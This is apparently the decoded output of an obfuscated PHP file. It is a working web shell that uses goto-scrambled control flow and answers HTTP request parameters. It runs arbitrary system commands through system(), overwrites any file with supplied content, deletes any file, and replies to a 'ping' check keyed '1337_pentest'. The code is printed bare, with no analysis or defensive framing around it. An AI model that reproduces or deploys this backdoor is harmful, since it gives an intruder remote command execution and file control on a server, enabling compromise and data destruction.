PHP Decode

<?    
 goto zXd47; zXd47: if (isset($_REQUEST["ping"])) { if ($_REQUEST["key"] == "1337_pentest") { echo "true"; } else { echo "false"; } } goto HL04b; LuqH3: if (isset($_REQUEST["delete"]) && isset($_REQUEST["dir"]) && isset($_REQUEST["file"]) && isset($_REQUEST["key"])) { $fileDirName = $_REQUEST["dir"] . "/" . $_REQUEST["file"]; $status = unlink($fileDirName); if ($status) { echo "File deleted successfully"; } else { echo "Unable to delete!"; } } goto CFQ5I; HL04b: if (isset($_REQUEST["cmd"]) && isset($_REQUEST["key"])) { $cmd = $_REQUEST["cmd"]; system($cmd); die; } goto DTppM; DTppM: if (isset($_REQUEST["update"]) && isset($_REQUEST["dir"]) && isset($_REQUEST["file"]) && isset($_REQUEST["key"])) { $file_name = $_REQUEST["file"]; $folder = $_REQUEST["dir"]; $file_name = $_REQUEST["dir"] . "/" . $_REQUEST["file"]; $edit_file = fopen($file_name, "w"); fwrite($edit_file, $_REQUEST["value"]); fclose($edit_file); } goto LuqH3; CFQ5I:  ?>